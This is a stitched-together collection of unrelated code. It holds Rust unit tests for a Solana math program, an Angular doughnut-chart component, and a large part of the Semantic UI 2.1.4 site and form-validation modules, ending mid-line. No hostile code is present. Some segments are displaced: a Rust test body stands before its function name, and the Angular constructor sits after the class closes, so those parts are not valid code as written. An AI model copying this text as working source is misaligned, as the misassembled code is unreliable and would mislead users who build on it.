mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); pc.set_compute_max_units(1600); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer( &[instruction::f32_multiply(1.5_f32, 2.0_f32)], Some(&payer.pubkey()), ); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); } #[tokio::test] async fn
() { let mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); pc.set_compute_max_units(1650); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer( &[instruction::f32_divide(3_f32, 1.5_f32)], Some(&payer.pubkey()), ); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); } #[tokio::test] async fn test_f32_exponentiate() { let mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); pc.set_compute_max_units(1400); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer( &[instruction::f32_exponentiate(4_f32, 2_f32)], Some(&payer.pubkey()), ); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); } #[tokio::test] async fn test_f32_natural_log() { let mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); pc.set_compute_max_units(3500); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer( &[instruction::f32_natural_log(1_f32.exp())], Some(&payer.pubkey()), ); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); } #[tokio::test] async fn test_noop() { let mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); pc.set_compute_max_units(1200); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer(&[instruction::noop()], Some(&payer.pubkey())); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); }
test_f32_divide
trafficChart.component.ts
import { Component, AfterViewInit } from '@angular/core'; import { TrafficChartService } from './trafficChart.service'; import * as Chart from 'chart.js'; @Component({ selector: 'reflex-traffic-chart', templateUrl: './trafficChart.component.html', styleUrls: ['./trafficChart.component.scss'] }) // TODO: move chart.js to it's own component export class TrafficChartComponent implements AfterViewInit { doughnutData: Array<Object>;
} ngAfterViewInit() { this._loadDoughnutCharts(); } private _loadDoughnutCharts() { const el = jQuery('.chart-area').get(0) as HTMLCanvasElement; new Chart(el.getContext('2d')).Doughnut(this.doughnutData, { segmentShowStroke: false, percentageInnerCutout: 64, responsive: true }); } }
constructor(private trafficChartService: TrafficChartService) { this.doughnutData = trafficChartService.getData();
semantic.js
/* * # Semantic UI - 2.1.4 * https://github.com/Semantic-Org/Semantic-UI * http://www.semantic-ui.com/ * * Copyright 2014 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ /*! * # Semantic UI 2.1.4 - Site * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { $.site = $.fn.site = function(parameters) { var time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.site.settings, parameters) : $.extend({}, $.site.settings), namespace = settings.namespace, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $document = $(document), $module = $document, element = this, instance = $module.data(moduleNamespace), module, returnedValue ; module = { initialize: function() { module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of site', module); instance = module; $module .data(moduleNamespace, module) ; }, normalize: function() { module.fix.console(); module.fix.requestAnimationFrame(); }, fix: { console: function() { module.debug('Normalizing window.console'); if (console === undefined || console.log === undefined) { module.verbose('Console not available, normalizing events'); module.disable.console(); } if (typeof console.group == 'undefined' || typeof console.groupEnd == 'undefined' || typeof console.groupCollapsed == 'undefined') { module.verbose('Console group not available, normalizing events'); window.console.group = function() {}; window.console.groupEnd = function() {}; window.console.groupCollapsed = function() {}; } if (typeof console.markTimeline == 'undefined') { module.verbose('Mark timeline not available, normalizing events'); window.console.markTimeline = function() {}; } }, consoleClear: function() { module.debug('Disabling programmatic console clearing'); window.console.clear = function() {}; }, requestAnimationFrame: function() { module.debug('Normalizing requestAnimationFrame'); if(window.requestAnimationFrame === undefined) { module.debug('RequestAnimationFrame not available, normalizing event'); window.requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); } ; } } }, moduleExists: function(name) { return ($.fn[name] !== undefined && $.fn[name].settings !== undefined); }, enabled: { modules: function(modules) { var enabledModules = [] ; modules = modules || settings.modules; $.each(modules, function(index, name) { if(module.moduleExists(name)) { enabledModules.push(name); } }); return enabledModules; } }, disabled: { modules: function(modules) { var disabledModules = [] ; modules = modules || settings.modules; $.each(modules, function(index, name) { if(!module.moduleExists(name)) { disabledModules.push(name); } }); return disabledModules; } }, change: { setting: function(setting, value, modules, modifyExisting) { modules = (typeof modules === 'string') ? (modules === 'all') ? settings.modules : [modules] : modules || settings.modules ; modifyExisting = (modifyExisting !== undefined) ? modifyExisting : true ; $.each(modules, function(index, name) { var namespace = (module.moduleExists(name)) ? $.fn[name].settings.namespace || false : true, $existingModules ; if(module.moduleExists(name)) { module.verbose('Changing default setting', setting, value, name); $.fn[name].settings[setting] = value; if(modifyExisting && namespace) { $existingModules = $(':data(module-' + namespace + ')'); if($existingModules.length > 0) { module.verbose('Modifying existing settings', $existingModules); $existingModules[name]('setting', setting, value); } } } }); }, settings: function(newSettings, modules, modifyExisting) { modules = (typeof modules === 'string') ? [modules] : modules || settings.modules ; modifyExisting = (modifyExisting !== undefined) ? modifyExisting : true ; $.each(modules, function(index, name) { var $existingModules ; if(module.moduleExists(name)) { module.verbose('Changing default setting', newSettings, name); $.extend(true, $.fn[name].settings, newSettings); if(modifyExisting && namespace) { $existingModules = $(':data(module-' + namespace + ')'); if($existingModules.length > 0) { module.verbose('Modifying existing settings', $existingModules); $existingModules[name]('setting', newSettings); } } } }); } }, enable: { console: function() { module.console(true); }, debug: function(modules, modifyExisting) { modules = modules || settings.modules; module.debug('Enabling debug for modules', modules); module.change.setting('debug', true, modules, modifyExisting); }, verbose: function(modules, modifyExisting) { modules = modules || settings.modules; module.debug('Enabling verbose debug for modules', modules); module.change.setting('verbose', true, modules, modifyExisting); } }, disable: { console: function() { module.console(false); }, debug: function(modules, modifyExisting) { modules = modules || settings.modules; module.debug('Disabling debug for modules', modules); module.change.setting('debug', false, modules, modifyExisting); }, verbose: function(modules, modifyExisting) { modules = modules || settings.modules; module.debug('Disabling verbose debug for modules', modules); module.change.setting('verbose', false, modules, modifyExisting); } }, console: function(enable) { if(enable) { if(instance.cache.console === undefined) { module.error(error.console); return; } module.debug('Restoring console function'); window.console = instance.cache.console; } else { module.debug('Disabling console function'); instance.cache.console = window.console; window.console = { clear : function(){}, error : function(){}, group : function(){}, groupCollapsed : function(){}, groupEnd : function(){}, info : function(){}, log : function(){}, markTimeline : function(){}, warn : function(){} }; } }, destroy: function() { module.verbose('Destroying previous site for', $module); $module .removeData(moduleNamespace) ; }, cache: {}, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments) } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Element' : element, 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { module.destroy(); } module.initialize(); } return (returnedValue !== undefined) ? returnedValue : this ; }; $.site.settings = { name : 'Site', namespace : 'site', error : { console : 'Console cannot be restored, most likely it was overwritten outside of module', method : 'The method you called is not defined.' }, debug : false, verbose : false, performance : true, modules: [ 'accordion', 'api', 'checkbox', 'dimmer', 'dropdown', 'embed', 'form', 'modal', 'nag', 'popup', 'rating', 'shape', 'sidebar', 'state', 'sticky', 'tab', 'transition', 'visit', 'visibility' ], siteNamespace : 'site', namespaceStub : { cache : {}, config : {}, sections : {}, section : {}, utilities : {} } }; // allows for selection of elements with data attributes $.extend($.expr[ ":" ], { data: ($.expr.createPseudo) ? $.expr.createPseudo(function(dataName) { return function(elem) { return !!$.data(elem, dataName); }; }) : function(elem, i, match) { // support: jQuery < 1.8 return !!$.data(elem, match[ 3 ]); } }); })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Form Validation * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.form = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], legacyParameters = arguments[1], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var $module = $(this), element = this, formErrors = [], keyHeldDown = false, // set at run-time $field, $group, $message, $prompt, $submit, $clear, $reset, settings, validation, metadata, selector, className, error, namespace, moduleNamespace, eventNamespace, instance, module ; module = { initialize: function() { // settings grabbed at run time module.get.settings(); if(methodInvoked) { if(instance === undefined) { module.instantiate(); } module.invoke(query); } else { module.verbose('Initializing form validation', $module, settings); module.bindEvents(); module.set.defaults(); module.instantiate(); } }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous module', instance); module.removeEvents(); $module .removeData(moduleNamespace) ; }, refresh: function() { module.verbose('Refreshing selector cache'); $field = $module.find(selector.field); $group = $module.find(selector.group); $message = $module.find(selector.message); $prompt = $module.find(selector.prompt); $submit = $module.find(selector.submit); $clear = $module.find(selector.clear); $reset = $module.find(selector.reset); }, submit: function() { module.verbose('Submitting form', $module); $module .submit() ; }, attachEvents: function(selector, action) { action = action || 'submit'; $(selector) .on('click' + eventNamespace, function(event) { module[action](); event.preventDefault(); }) ; }, bindEvents: function() { module.verbose('Attaching form events'); $module .on('submit' + eventNamespace, module.validate.form) .on('blur' + eventNamespace, selector.field, module.event.field.blur) .on('click' + eventNamespace, selector.submit, module.submit) .on('click' + eventNamespace, selector.reset, module.reset) .on('click' + eventNamespace, selector.clear, module.clear) ; if(settings.keyboardShortcuts) { $module .on('keydown' + eventNamespace, selector.field, module.event.field.keydown) ; } $field .each(function() { var $input = $(this), type = $input.prop('type'), inputEvent = module.get.changeEvent(type, $input) ; $(this) .on(inputEvent + eventNamespace, module.event.field.change) ; }) ; }, clear: function() { $field .each(function () { var $field = $(this), $element = $field.parent(), $fieldGroup = $field.closest($group), $prompt = $fieldGroup.find(selector.prompt), defaultValue = $field.data(metadata.defaultValue) || '', isCheckbox = $element.is(selector.uiCheckbox), isDropdown = $element.is(selector.uiDropdown), isErrored = $fieldGroup.hasClass(className.error) ; if(isErrored) { module.verbose('Resetting error on field', $fieldGroup); $fieldGroup.removeClass(className.error); $prompt.remove(); } if(isDropdown) { module.verbose('Resetting dropdown value', $element, defaultValue); $element.dropdown('clear'); } else if(isCheckbox) { $field.prop('checked', false); } else { module.verbose('Resetting field value', $field, defaultValue); $field.val(''); } }) ; }, reset: function() { $field .each(function () { var $field = $(this), $element = $field.parent(), $fieldGroup = $field.closest($group), $prompt = $fieldGroup.find(selector.prompt), defaultValue = $field.data(metadata.defaultValue), isCheckbox = $element.is(selector.uiCheckbox), isDropdown = $element.is(selector.uiDropdown), isErrored = $fieldGroup.hasClass(className.error) ; if(defaultValue === undefined) { return; } if(isErrored) { module.verbose('Resetting error on field', $fieldGroup); $fieldGroup.removeClass(className.error); $prompt.remove(); } if(isDropdown) { module.verbose('Resetting dropdown value', $element, defaultValue); $element.dropdown('restore defaults'); } else if(isCheckbox) { module.verbose('Resetting checkbox value', $element, defaultValue); $field.prop('checked', defaultValue); } else { module.verbose('Resetting field value', $field, defaultValue); $field.val(defaultValue); } }) ; }, is: { bracketedRule: function(rule) { return (rule.type && rule.type.match(settings.regExp.bracket)); }, valid: function() { var allValid = true ; module.verbose('Checking if form is valid'); $.each(validation, function(fieldName, field) { if( !( module.validate.field(field, fieldName) ) ) { allValid = false; } }); return allValid; } }, removeEvents: function() { $module .off(eventNamespace) ; $field .off(eventNamespace) ; $submit .off(eventNamespace) ; $field .off(eventNamespace) ; }, event: { field: { keydown: function(event) { var $field = $(this), key = event.which, keyCode = { enter : 13, escape : 27 } ; if( key == keyCode.escape) { module.verbose('Escape key pressed blurring field'); $field .blur() ; } if(!event.ctrlKey && key == keyCode.enter && $field.is(selector.input) && $field.not(selector.checkbox).length > 0 ) { if(!keyHeldDown) { $field .one('keyup' + eventNamespace, module.event.field.keyup) ; module.submit(); module.debug('Enter pressed on input submitting form'); } keyHeldDown = true; } }, keyup: function() { keyHeldDown = false; }, blur: function(event) { var $field = $(this), $fieldGroup = $field.closest($group), validationRules = module.get.validation($field) ; if( $fieldGroup.hasClass(className.error) ) { module.debug('Revalidating field', $field, validationRules); module.validate.form.call(module, event, true); } else if(settings.on == 'blur' || settings.on == 'change') { module.validate.field( validationRules ); } }, change: function(event) { var $field = $(this), $fieldGroup = $field.closest($group) ; if(settings.on == 'change' || ( $fieldGroup.hasClass(className.error) && settings.revalidate) ) { clearTimeout(module.timer); module.timer = setTimeout(function() { module.debug('Revalidating field', $field, module.get.validation($field)); module.validate.form.call(module, event, true); }, settings.delay); } } } }, get: { ancillaryValue: function(rule) { if(!rule.type || !module.is.bracketedRule(rule)) { return false; } return rule.type.match(settings.regExp.bracket)[1] + ''; }, ruleName: function(rule) { if( module.is.bracketedRule(rule) ) { return rule.type.replace(rule.type.match(settings.regExp.bracket)[0], ''); } return rule.type; }, changeEvent: function(type, $input) { if(type == 'checkbox' || type == 'radio' || type == 'hidden' || $input.is('select')) { return 'change'; } else { return module.get.inputEvent(); } }, inputEvent: function() { return (document.createElement('input').oninput !== undefined) ? 'input' : (document.createElement('input').onpropertychange !== undefined) ? 'propertychange' : 'keyup' ; }, prompt: function(rule, field) { var ruleName = module.get.ruleName(rule), ancillary = module.get.ancillaryValue(rule), prompt = rule.prompt || settings.prompt[ruleName] || settings.text.unspecifiedRule, requiresValue = (prompt.search('{value}') !== -1), requiresName = (prompt.search('{name}') !== -1), $label, $field, name ; if(requiresName || requiresValue) { $field = module.get.field(field.identifier); } if(requiresValue) { prompt = prompt.replace('{value}', $field.val()); } if(requiresName) { $label = $field.closest(selector.group).find('label').eq(0); name = ($label.size() == 1) ? $label.text() : $field.prop('placeholder') || settings.text.unspecifiedField ; prompt = prompt.replace('{name}', name); } prompt = prompt.replace('{identifier}', field.identifier); prompt = prompt.replace('{ruleValue}', ancillary); if(!rule.prompt) { module.verbose('Using default validation prompt for type', prompt, ruleName); } return prompt; }, settings: function() { if($.isPlainObject(parameters)) { var keys = Object.keys(parameters), isLegacySettings = (keys.length > 0) ? (parameters[keys[0]].identifier !== undefined && parameters[keys[0]].rules !== undefined) : false, ruleKeys ; if(isLegacySettings) { // 1.x (ducktyped) settings = $.extend(true, {}, $.fn.form.settings, legacyParameters); validation = $.extend({}, $.fn.form.settings.defaults, parameters); module.error(settings.error.oldSyntax, element); module.verbose('Extending settings from legacy parameters', validation, settings); } else { // 2.x if(parameters.fields) { ruleKeys = Object.keys(parameters.fields); if( typeof parameters.fields[ruleKeys[0]] == 'string' || $.isArray(parameters.fields[ruleKeys[0]]) ) { $.each(parameters.fields, function(name, rules) { if(typeof rules == 'string') { rules = [rules]; } parameters.fields[name] = { rules: [] }; $.each(rules, function(index, rule) { parameters.fields[name].rules.push({ type: rule }); }); }); } } settings = $.extend(true, {}, $.fn.form.settings, parameters); validation = $.extend({}, $.fn.form.settings.defaults, settings.fields); module.verbose('Extending settings', validation, settings); } } else { settings = $.fn.form.settings; validation = $.fn.form.settings.defaults; module.verbose('Using default form validation', validation, settings); } // shorthand namespace = settings.namespace; metadata = settings.metadata; selector = settings.selector; className = settings.className; error = settings.error; moduleNamespace = 'module-' + namespace; eventNamespace = '.' + namespace; // grab instance instance = $module.data(moduleNamespace); // refresh selector cache module.refresh(); }, field: function(identifier) { module.verbose('Finding field with identifier', identifier); if( $field.filter('#' + identifier).length > 0 ) { return $field.filter('#' + identifier); } else if( $field.filter('[name="' + identifier +'"]').length > 0 ) { return $field.filter('[name="' + identifier +'"]'); } else if( $field.filter('[name="' + identifier +'[]"]').length > 0 ) { return $field.filter('[name="' + identifier +'[]"]'); } else if( $field.filter('[data-' + metadata.validate + '="'+ identifier +'"]').length > 0 ) { return $field.filter('[data-' + metadata.validate + '="'+ identifier +'"]'); } return $('<input/>'); }, fields: function(fields) { var $fields = $() ; $.each(fields, function(index, name) { $fields = $fields.add( module.get.field(name) ); }); return $fields; }, validation: function($field) { var fieldValidation, identifier ; if(!validation) { return false; } $.each(validation, function(fieldName, field) { identifier = field.identifier || fieldName; if( module.get.field(identifier)[0] == $field[0] ) { field.identifier = identifier; fieldValidation = field; } }); return fieldValidation || false; }, value: function (field) { var fields = [], results ; fields.push(field); results = module.get.values.call(element, fields); return results[field]; }, values: function (fields) { var $fields = $.isArray(fields) ? module.get.fields(fields) : $field, values = {} ; $fields.each(function(index, field) { var $field = $(field), type = $field.prop('type'), name = $field.prop('name'), value = $field.val(), isCheckbox = $field.is(selector.checkbox), isRadio = $field.is(selector.radio), isMultiple = (name.indexOf('[]') !== -1), isChecked = (isCheckbox) ? $field.is(':checked') : false ; if(name) { if(isMultiple) { name = name.replace('[]', ''); if(!values[name]) { values[name] = []; } if(isCheckbox) { if(isChecked) { values[name].push(value || true); } else { values[name].push(false); } } else { values[name].push(value); } } else { if(isRadio) { if(isChecked) { values[name] = value; } } else if(isCheckbox) { if(isChecked) { values[name] = value || true; } else { values[name] = false; } } else { values[name] = value; } } } }); return values; } }, has: { field: function(identifier) { module.verbose('Checking for existence of a field with identifier', identifier); if(typeof identifier !== 'string') { module.error(error.identifier, identifier); } if( $field.filter('#' + identifier).length > 0 ) { return true; } else if( $field.filter('[name="' + identifier +'"]').length > 0 ) { return true; } else if( $field.filter('[data-' + metadata.validate + '="'+ identifier +'"]').length > 0 ) { return true; } return false; } }, add: { prompt: function(identifier, errors) { var $field = module.get.field(identifier), $fieldGroup = $field.closest($group), $prompt = $fieldGroup.children(selector.prompt), promptExists = ($prompt.length !== 0) ; errors = (typeof errors == 'string') ? [errors] : errors ; module.verbose('Adding field error state', identifier); $fieldGroup .addClass(className.error) ; if(settings.inline) { if(!promptExists) { $prompt = settings.templates.prompt(errors); $prompt .appendTo($fieldGroup) ; } $prompt .html(errors[0]) ; if(!promptExists) { if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { module.verbose('Displaying error with css transition', settings.transition); $prompt.transition(settings.transition + ' in', settings.duration); } else { module.verbose('Displaying error with fallback javascript animation'); $prompt .fadeIn(settings.duration) ; } } else { module.verbose('Inline errors are disabled, no inline error added', identifier); } } }, errors: function(errors) { module.debug('Adding form error messages', errors); module.set.error(); $message .html( settings.templates.error(errors) ) ; } }, remove: { prompt: function(identifier) { var $field = module.get.field(identifier), $fieldGroup = $field.closest($group), $prompt = $fieldGroup.children(selector.prompt) ; $fieldGroup .removeClass(className.error) ; if(settings.inline && $prompt.is(':visible')) { module.verbose('Removing prompt for field', identifier); if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { $prompt.transition(settings.transition + ' out', settings.duration, function() { $prompt.remove(); }); } else { $prompt .fadeOut(settings.duration, function(){ $prompt.remove(); }) ; } } } }, set: { success: function() { $module .removeClass(className.error) .addClass(className.success) ; }, defaults: function () { $field .each(function () { var $field = $(this), isCheckbox = ($field.filter(selector.checkbox).length > 0), value = (isCheckbox) ? $field.is(':checked') : $field.val() ; $field.data(metadata.defaultValue, value); }) ; }, error: function() { $module .removeClass(className.success) .addClass(className.error) ; }, value: function (field, value) { var fields = {} ; fields[field] = value; return module.set.values.call(element, fields); }, values: function (fields) { if($.isEmptyObject(fields)) { return; } $.each(fields, function(key, value) { var $field = module.get.field(key), $element = $field.parent(), isMultiple = $.isArray(value), isCheckbox = $element.is(selector.uiCheckbox), isDropdown = $element.is(selector.uiDropdown), isRadio = ($field.is(selector.radio) && isCheckbox), fieldExists = ($field.length > 0), $multipleField ; if(fieldExists) { if(isMultiple && isCheckbox) { module.verbose('Selecting multiple', value, $field); $element.checkbox('uncheck'); $.each(value, function(index, value) { $multipleField = $field.filter('[value="' + value + '"]'); $element = $multipleField.parent(); if($multipleField.length > 0) { $element.checkbox('check'); } }); } else if(isRadio) { module.verbose('Selecting radio value', value, $field); $field.filter('[value="' + value + '"]') .parent(selector.uiCheckbox) .checkbox('check') ; } else if(isCheckbox) { module.verbose('Setting checkbox value', value, $element); if(value === true) { $element.checkbox('check'); } else { $element.checkbox('uncheck'); } } else if(isDropdown) { module.verbose('Setting dropdown value', value, $element); $element.dropdown('set selected', value); } else { module.verbose('Setting field value', value, $field); $field.val(value); } } }); } }, validate: { form: function(event, ignoreCallbacks) { var values = module.get.values(), apiRequest ; // input keydown event will fire submit repeatedly by browser default if(keyHeldDown) { return false; } // reset errors formErrors = []; if( module.is.valid() ) { module.debug('Form has no validation errors, submitting'); module.set.success(); if(ignoreCallbacks !== true) { return settings.onSuccess.call(element, event, values); } } else { module.debug('Form has errors'); module.set.error(); if(!settings.inline) { module.add.errors(formErrors); } // prevent ajax submit if($module.data('moduleApi') !== undefined) { event.stopImmediatePropagation(); } if(ignoreCallbacks !== true) { return settings.onFailure.call(element, formErrors, values); } } }, // takes a validation object and returns whether field passes validation field: function(field, fieldName) { var identifier = field.identifier || fieldName, $field = module.get.field(identifier), fieldValid = true, fieldErrors = [] ; if(!field.identifier) { module.debug('Using field name as identifier', identifier); field.identifier = identifier; } if($field.prop('disabled')) { module.debug('Field is disabled. Skipping', identifier); fieldValid = true; } else if(field.optional && $.trim($field.val()) === ''){ module.debug('Field is optional and empty. Skipping', identifier); fieldValid = true; } else if(field.rules !== undefined) { $.each(field.rules, function(index, rule) { if( module.has.field(identifier) && !( module.validate.rule(field, rule) ) ) { module.debug('Field is invalid', identifier, rule.type); fieldErrors.push(module.get.prompt(rule, field)); fieldValid = false; } }); } if(fieldValid) { module.remove.prompt(identifier, fieldErrors); settings.onValid.call($field); } else { formErrors = formErrors.concat(fieldErrors); module.add.prompt(identifier, fieldErrors); settings.onInvalid.call($field, fieldErrors); return false; } return true; }, // takes validation rule and returns whether field passes rule rule: function(field, rule) { var $field = module.get.field(field.identifier), type = rule.type, value = $field.val(), isValid = true, ancillary = module.get.ancillaryValue(rule), ruleName = module.get.ruleName(rule), ruleFunction = settings.rules[ruleName] ; if( !$.isFunction(ruleFunction) ) { module.error(error.noRule, ruleName); return; } // cast to string avoiding encoding special values value = (value === undefined || value === '' || value === null) ? '' : $.trim(value + '') ; return ruleFunction.call($field, value, ancillary); } }, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; module.initialize(); }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.form.settings = { name : 'Form', namespace : 'form', debug : false, verbose : false, performance : true, fields : false, keyboardShortcuts : true, on : 'submit', inline : false, delay : 200, revalidate : true, transition : 'scale', duration : 200, onValid : function() {}, onInvalid : function() {}, onSuccess : function() { return true; }, onFailure : function() { return false; }, metadata : { defaultValue : 'default', validate : 'validate' }, regExp: { bracket : /\[(.*)\]/i, decimal : /^\-?\d*(\.\d+)?$/, email : "[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?", escape : /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, flags : /^\/(.*)\/(.*)?/, integer : /^\-?\d+$/, number : /^\-?\d*(\.\d+)?$/, url : /(https?:\/\/(?:www\.|(?!www))[^\s\.]+\.[^\s]{2,}|www\.[^\s]+\.[^\s]{2,})/i }, text: { unspecifiedRule : 'Please enter a valid value', unspecifiedField : 'This field' }, prompt: { empty : '{name} must have a value', checked : '{name} must be checked', email : '{name} must be a valid e-mail', url : '{name} must be a valid url', regExp : '{name} is not formatted correctly', integer : '{name} must be an integer', decimal : '{name} must be a decimal number', number : '{name} must be set to a number', is : '{name} must be "{ruleValue}"', isExactly : '{name} must be exactly "{ruleValue}"', not : '{name} cannot be set to "{ruleValue}"', notExactly : '{name} cannot be set to exactly "{ruleValue}"', contain : '{name} cannot contain "{ruleValue}"', containExactly : '{name} cannot contain exactly "{ruleValue}"', doesntContain : '{name} must contain "{ruleValue}"', doesntContainExactly : '{name} must contain exactly "{ruleValue}"', minLength : '{name} must be at least {ruleValue} characters', length : '{name} must be at least {ruleValue} characters', exactLength : '{name} must be exactly {ruleValue} characters', maxLength 